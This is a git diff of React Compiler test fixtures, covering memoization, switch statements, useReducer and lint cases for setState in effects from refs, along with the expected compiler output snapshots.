diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.expect.md
index 80cd50cff3d3..742bd14d5cfe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.expect.md
@@ -2,10 +2,11 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     switch (props.key) {
-      case "key": {
+      case 'key': {
         return props.value;
       }
       default: {
@@ -18,8 +19,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -27,6 +28,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   let t0;
   bb0: switch (props.key) {
@@ -39,6 +41,7 @@ function Component(props) {
     }
   }
   const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.js
index c9cb5005f35c..e2a60ab6baf1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-no-fallthrough.js
@@ -1,7 +1,8 @@
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     switch (props.key) {
-      case "key": {
+      case 'key': {
         return props.value;
       }
       default: {
@@ -14,6 +15,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.expect.md
index 22a42363f5c9..cbe6326d2393 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.expect.md
@@ -2,15 +2,16 @@
 ## Input
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     let y;
     switch (props.switch) {
-      case "foo": {
-        return "foo";
+      case 'foo': {
+        return 'foo';
       }
-      case "bar": {
-        y = "bar";
+      case 'bar': {
+        y = 'bar';
         break;
       }
       default: {
@@ -24,8 +25,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -33,6 +34,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   let t0;
   bb0: {
@@ -50,10 +52,10 @@ function Component(props) {
         y = props.y;
       }
     }
-
     t0 = y;
   }
   const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.js
index d91462269a34..a55a487d9b7f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-switch-return.js
@@ -1,12 +1,13 @@
+// @validateExhaustiveMemoizationDependencies:false
 function Component(props) {
   const x = useMemo(() => {
     let y;
     switch (props.switch) {
-      case "foo": {
-        return "foo";
+      case 'foo': {
+        return 'foo';
       }
-      case "bar": {
-        y = "bar";
+      case 'bar': {
+        y = 'bar';
         break;
       }
       default: {
@@ -20,6 +21,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-with-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-with-optional.expect.md
new file mode 100644
index 000000000000..783ad2c12fab
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-with-optional.expect.md
@@ -0,0 +1,48 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+function Component(props) {
+  return (
+    useMemo(() => {
+      return [props.value];
+    }) || []
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.value) {
+    t0 = (() => [props.value])() || [];
+    $[0] = props.value;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [1]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-with-optional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-with-optional.js
new file mode 100644
index 000000000000..01a7b6b25e3f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useMemo-with-optional.js
@@ -0,0 +1,14 @@
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+function Component(props) {
+  return (
+    useMemo(() => {
+      return [props.value];
+    }) || []
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.expect.md
index 32c0836647cb..392ff267a26b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useReducer } from "react";
+import {useReducer} from 'react';
 
 function f() {
   const [state, dispatch] = useReducer();
@@ -30,13 +30,12 @@ import { useReducer } from "react";
 
 function f() {
   const $ = _c(1);
-  const [state, dispatch] = useReducer();
+  const [, dispatch] = useReducer();
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const onClick = () => {
       dispatch();
     };
-
     t0 = <div onClick={onClick} />;
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.js
index c1dec4e5a7f0..19bbe8abc5e3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useReducer-returned-dispatcher-is-non-reactive.js
@@ -1,4 +1,4 @@
-import { useReducer } from "react";
+import {useReducer} from 'react';
 
 function f() {
   const [state, dispatch] = useReducer();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-and-other-hook-unpruned-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-and-other-hook-unpruned-dependency.expect.md
deleted file mode 100644
index 63203246d699..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-and-other-hook-unpruned-dependency.expect.md
+++ /dev/null
@@ -1,92 +0,0 @@
-
-## Input
-
-```javascript
-import { useState } from "react"; // @enableChangeDetectionForDebugging
-
-function useOther(x) {
-  return x;
-}
-
-function Component(props) {
-  const w = f(props.x);
-  const z = useOther(w);
-  const [x, _] = useState(z);
-  return <div>{x}</div>;
-}
-
-function f(x) {
-  return x;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ x: 42 }],
-  isComponent: true,
-};
-
-```
-
-## Code
-
-```javascript
-import { $structuralCheck } from "react-compiler-runtime";
-import { c as _c } from "react/compiler-runtime";
-import { useState } from "react"; // @enableChangeDetectionForDebugging
-
-function useOther(x) {
-  return x;
-}
-
-function Component(props) {
-  const $ = _c(4);
-  let t0;
-  {
-    t0 = f(props.x);
-    let condition = $[0] !== props.x;
-    if (!condition) {
-      let old$t0 = $[1];
-      $structuralCheck(old$t0, t0, "t0", "Component", "cached", "(8:8)");
-    }
-    $[0] = props.x;
-    $[1] = t0;
-    if (condition) {
-      t0 = f(props.x);
-      $structuralCheck($[1], t0, "t0", "Component", "recomputed", "(8:8)");
-      t0 = $[1];
-    }
-  }
-  const w = t0;
-  const z = useOther(w);
-  const [x] = useState(z);
-  let t1;
-  {
-    t1 = <div>{x}</div>;
-    let condition = $[2] !== x;
-    if (!condition) {
-      let old$t1 = $[3];
-      $structuralCheck(old$t1, t1, "t1", "Component", "cached", "(11:11)");
-    }
-    $[2] = x;
-    $[3] = t1;
-    if (condition) {
-      t1 = <div>{x}</div>;
-      $structuralCheck($[3], t1, "t1", "Component", "recomputed", "(11:11)");
-      t1 = $[3];
-    }
-  }
-  return t1;
-}
-
-function f(x) {
-  return x;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ x: 42 }],
-  isComponent: true,
-};
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-and-other-hook-unpruned-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-and-other-hook-unpruned-dependency.js
deleted file mode 100644
index 4f57f785d907..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-and-other-hook-unpruned-dependency.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import { useState } from "react"; // @enableChangeDetectionForDebugging
-
-function useOther(x) {
-  return x;
-}
-
-function Component(props) {
-  const w = f(props.x);
-  const z = useOther(w);
-  const [x, _] = useState(z);
-  return <div>{x}</div>;
-}
-
-function f(x) {
-  return x;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ x: 42 }],
-  isComponent: true,
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-pruned-dependency-change-detect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-pruned-dependency-change-detect.expect.md
deleted file mode 100644
index 4ae84cfdf244..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-pruned-dependency-change-detect.expect.md
+++ /dev/null
@@ -1,52 +0,0 @@
-
-## Input
-
-```javascript
-// @enableChangeDetectionForDebugging
-import { useState } from "react";
-
-function Component(props) {
-  const [x, _] = useState(f(props.x));
-  return <div>{x}</div>;
-}
-
-```
-
-## Code
-
-```javascript
-import { $structuralCheck } from "react-compiler-runtime";
-import { c as _c } from "react/compiler-runtime"; // @enableChangeDetectionForDebugging
-import { useState } from "react";
-
-function Component(props) {
-  const $ = _c(3);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = f(props.x);
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const [x] = useState(t0);
-  let t1;
-  {
-    t1 = <div>{x}</div>;
-    let condition = $[1] !== x;
-    if (!condition) {
-      let old$t1 = $[2];
-      $structuralCheck(old$t1, t1, "t1", "Component", "cached", "(6:6)");
-    }
-    $[1] = x;
-    $[2] = t1;
-    if (condition) {
-      t1 = <div>{x}</div>;
-      $structuralCheck($[2], t1, "t1", "Component", "recomputed", "(6:6)");
-      t1 = $[2];
-    }
-  }
-  return t1;
-}
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-pruned-dependency-change-detect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-pruned-dependency-change-detect.js
deleted file mode 100644
index 46a9c23fe94b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-pruned-dependency-change-detect.js
+++ /dev/null
@@ -1,7 +0,0 @@
-// @enableChangeDetectionForDebugging
-import { useState } from "react";
-
-function Component(props) {
-  const [x, _] = useState(f(props.x));
-  return <div>{x}</div>;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-unpruned-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-unpruned-dependency.expect.md
deleted file mode 100644
index 8ca0d23ba878..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-unpruned-dependency.expect.md
+++ /dev/null
@@ -1,98 +0,0 @@
-
-## Input
-
-```javascript
-import { useState } from "react"; // @enableChangeDetectionForDebugging
-
-function Component(props) {
-  const w = f(props.x);
-  const [x, _] = useState(w);
-  return (
-    <div>
-      {x}
-      {w}
-    </div>
-  );
-}
-
-function f(x) {
-  return x;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ x: 42 }],
-  isComponent: true,
-};
-
-```
-
-## Code
-
-```javascript
-import { $structuralCheck } from "react-compiler-runtime";
-import { c as _c } from "react/compiler-runtime";
-import { useState } from "react"; // @enableChangeDetectionForDebugging
-
-function Component(props) {
-  const $ = _c(5);
-  let t0;
-  {
-    t0 = f(props.x);
-    let condition = $[0] !== props.x;
-    if (!condition) {
-      let old$t0 = $[1];
-      $structuralCheck(old$t0, t0, "t0", "Component", "cached", "(4:4)");
-    }
-    $[0] = props.x;
-    $[1] = t0;
-    if (condition) {
-      t0 = f(props.x);
-      $structuralCheck($[1], t0, "t0", "Component", "recomputed", "(4:4)");
-      t0 = $[1];
-    }
-  }
-  const w = t0;
-  const [x] = useState(w);
-  let t1;
-  {
-    t1 = (
-      <div>
-        {x}
-        {w}
-      </div>
-    );
-    let condition = $[2] !== x || $[3] !== w;
-    if (!condition) {
-      let old$t1 = $[4];
-      $structuralCheck(old$t1, t1, "t1", "Component", "cached", "(7:10)");
-    }
-    $[2] = x;
-    $[3] = w;
-    $[4] = t1;
-    if (condition) {
-      t1 = (
-        <div>
-          {x}
-          {w}
-        </div>
-      );
-      $structuralCheck($[4], t1, "t1", "Component", "recomputed", "(7:10)");
-      t1 = $[4];
-    }
-  }
-  return t1;
-}
-
-function f(x) {
-  return x;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ x: 42 }],
-  isComponent: true,
-};
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-unpruned-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-unpruned-dependency.js
deleted file mode 100644
index c63c16aebc4f..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useState-unpruned-dependency.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import { useState } from "react"; // @enableChangeDetectionForDebugging
-
-function Component(props) {
-  const w = f(props.x);
-  const [x, _] = useState(w);
-  return (
-    <div>
-      {x}
-      {w}
-    </div>
-  );
-}
-
-function f(x) {
-  return x;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ x: 42 }],
-  isComponent: true,
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/userspace-use-memo-cache.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/userspace-use-memo-cache.expect.md
deleted file mode 100644
index ef030d64b1e6..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/userspace-use-memo-cache.expect.md
+++ /dev/null
@@ -1,73 +0,0 @@
-
-## Input
-
-```javascript
-// @runtimeModule="react-forget-runtime"
-function Component(props) {
-  const [x, setX] = useState(1);
-  let y;
-  if (props.cond) {
-    y = x * 2;
-  }
-  return (
-    <Button
-      onClick={() => {
-        setX(10 * y);
-      }}
-    ></Button>
-  );
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [true],
-  isComponent: true,
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react-forget-runtime"; // @runtimeModule="react-forget-runtime"
-function Component(props) {
-  const $ = _c(5);
-  const [x, setX] = useState(1);
-  let y;
-  if ($[0] !== props.cond || $[1] !== x) {
-    if (props.cond) {
-      y = x * 2;
-    }
-    $[0] = props.cond;
-    $[1] = x;
-    $[2] = y;
-  } else {
-    y = $[2];
-  }
-
-  const t0 = y;
-  let t1;
-  if ($[3] !== t0) {
-    t1 = (
-      <Button
-        onClick={() => {
-          setX(10 * y);
-        }}
-      />
-    );
-    $[3] = t0;
-    $[4] = t1;
-  } else {
-    t1 = $[4];
-  }
-  return t1;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [true],
-  isComponent: true,
-};
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/userspace-use-memo-cache.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/userspace-use-memo-cache.js
deleted file mode 100644
index 1cc241d03a67..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/userspace-use-memo-cache.js
+++ /dev/null
@@ -1,21 +0,0 @@
-// @runtimeModule="react-forget-runtime"
-function Component(props) {
-  const [x, setX] = useState(1);
-  let y;
-  if (props.cond) {
-    y = x * 2;
-  }
-  return (
-    <Button
-      onClick={() => {
-        setX(10 * y);
-      }}
-    ></Button>
-  );
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [true],
-  isComponent: true,
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-set-state-in-useEffect-from-ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-set-state-in-useEffect-from-ref.expect.md
new file mode 100644
index 000000000000..8e9d259fa715
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-set-state-in-useEffect-from-ref.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @outputMode:"lint"
+import {useState, useRef, useEffect} from 'react';
+
+function Tooltip() {
+  const ref = useRef(null);
+  const [tooltipHeight, setTooltipHeight] = useState(0);
+
+  useEffect(() => {
+    const {height} = ref.current.getBoundingClientRect();
+    setTooltipHeight(height);
+  }, []);
+
+  return tooltipHeight;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Tooltip,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoSetStateInEffects @outputMode:"lint"
+import { useState, useRef, useEffect } from "react";
+
+function Tooltip() {
+  const ref = useRef(null);
+  const [tooltipHeight, setTooltipHeight] = useState(0);
+
+  useEffect(() => {
+    const { height } = ref.current.getBoundingClientRect();
+    setTooltipHeight(height);
+  }, []);
+
+  return tooltipHeight;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Tooltip,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: exception) Cannot read properties of null (reading 'getBoundingClientRect')
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-set-state-in-useEffect-from-ref.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-set-state-in-useEffect-from-ref.js
new file mode 100644
index 000000000000..88201926788c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-set-state-in-useEffect-from-ref.js
@@ -0,0 +1,19 @@
+// @validateNoSetStateInEffects @outputMode:"lint"
+import {useState, useRef, useEffect} from 'react';
+
+function Tooltip() {
+  const ref = useRef(null);
+  const [tooltipHeight, setTooltipHeight] = useState(0);
+
+  useEffect(() => {
+    const {height} = ref.current.getBoundingClientRect();
+    setTooltipHeight(height);
+  }, []);
+
+  return tooltipHeight;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Tooltip,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-arithmetic.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-arithmetic.expect.md
new file mode 100644
index 000000000000..845711d24be7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-arithmetic.expect.md
@@ -0,0 +1,51 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import {useState, useRef, useLayoutEffect} from 'react';
+
+function Component() {
+  const ref = useRef({size: 5});
+  const [computedSize, setComputedSize] = useState(0);
+
+  useLayoutEffect(() => {
+    setComputedSize(ref.current.size * 10);
+  }, []);
+
+  return computedSize;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import { useState, useRef, useLayoutEffect } from "react";
+
+function Component() {
+  const ref = useRef({ size: 5 });
+  const [computedSize, setComputedSize] = useState(0);
+
+  useLayoutEffect(() => {
+    setComputedSize(ref.current.size * 10);
+  }, []);
+
+  return computedSize;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) 50
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-arithmetic.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-arithmetic.js
new file mode 100644
index 000000000000..c6903f893327
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-arithmetic.js
@@ -0,0 +1,18 @@
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import {useState, useRef, useLayoutEffect} from 'react';
+
+function Component() {
+  const ref = useRef({size: 5});
+  const [computedSize, setComputedSize] = useState(0);
+
+  useLayoutEffect(() => {
+    setComputedSize(ref.current.size * 10);
+  }, []);
+
+  return computedSize;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-array-index.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-array-index.expect.md
new file mode 100644
index 000000000000..269bda83ce96
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-array-index.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import {useState, useRef, useEffect} from 'react';
+
+function Component() {
+  const ref = useRef([1, 2, 3, 4, 5]);
+  const [value, setValue] = useState(0);
+
+  useEffect(() => {
+    const index = 2;
+    setValue(ref.current[index]);
+  }, []);
+
+  return value;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import { useState, useRef, useEffect } from "react";
+
+function Component() {
+  const ref = useRef([1, 2, 3, 4, 5]);
+  const [value, setValue] = useState(0);
+
+  useEffect(() => {
+    const index = 2;
+    setValue(ref.current[index]);
+  }, []);
+
+  return value;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) 3
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-array-index.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-array-index.js
new file mode 100644
index 000000000000..a5cfd5c2b2bd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-array-index.js
@@ -0,0 +1,19 @@
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import {useState, useRef, useEffect} from 'react';
+
+function Component() {
+  const ref = useRef([1, 2, 3, 4, 5]);
+  const [value, setValue] = useState(0);
+
+  useEffect(() => {
+    const index = 2;
+    setValue(ref.current[index]);
+  }, []);
+
+  return value;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-function-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-function-call.expect.md
new file mode 100644
index 000000000000..ce186bcddf44
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-function-call.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import {useState, useRef, useEffect} from 'react';
+
+function Component() {
+  const ref = useRef(null);
+  const [width, setWidth] = useState(0);
+
+  useEffect(() => {
+    function getBoundingRect(ref) {
+      if (ref.current) {
+        return ref.current.getBoundingClientRect?.()?.width ?? 100;
+      }
+      return 100;
+    }
+
+    setWidth(getBoundingRect(ref));
+  }, []);
+
+  return width;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import { useState, useRef, useEffect } from "react";
+
+function Component() {
+  const ref = useRef(null);
+  const [width, setWidth] = useState(0);
+
+  useEffect(() => {
+    function getBoundingRect(ref_0) {
+      if (ref_0.current) {
+        return ref_0.current.getBoundingClientRect?.()?.width ?? 100;
+      }
+      return 100;
+    }
+
+    setWidth(getBoundingRect(ref));
+  }, []);
+
+  return width;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) 100
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-function-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-function-call.js
new file mode 100644
index 000000000000..8b92e7c5fd0d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-effect-from-ref-function-call.js
@@ -0,0 +1,25 @@
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import {useState, useRef, useEffect} from 'react';
+
+function Component() {
+  const ref = useRef(null);
+  const [width, setWidth] = useState(0);
+
+  useEffect(() => {
+    function getBoundingRect(ref) {
+      if (ref.current) {
+        return ref.current.getBoundingClientRect?.()?.width ?? 100;
+      }
+      return 100;
+    }
+
+    setWidth(getBoundingRect(ref));
+  }, []);
+
+  return width;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-controlled-by-ref-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-controlled-by-ref-value.expect.md
new file mode 100644
index 000000000000..6570731d290e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-controlled-by-ref-value.expect.md
